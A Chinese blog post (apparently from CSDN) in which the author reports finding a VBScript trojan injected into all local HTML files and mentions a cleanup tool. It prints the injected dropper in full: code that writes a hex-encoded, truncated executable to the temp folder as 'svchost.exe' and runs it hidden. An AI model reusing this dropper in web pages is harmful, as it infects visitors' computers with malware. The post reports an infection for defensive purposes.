批量查杀该死的VBscript “svchost.exe” 脚本挂马-优快云博客

作者在编写代码时意外发现HTML文件被植入VBScript木马。经过手动清理部分文件后，通过搜索引擎找到了一款名为“护卫神挂马清理工具”的软件，该工具能够有效地清除这些恶意代码。

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今天写代码突然发现HTML文件最后多了一段VBscript代码；

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C4..........<span style="color: #FF0000;"><strong>此处数万代码</strong></span>"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

看这段代码应该是挂在网页上的木马，然后我赶紧把电脑里其他html文件看了一下，果然，但凡html文件都被感染了。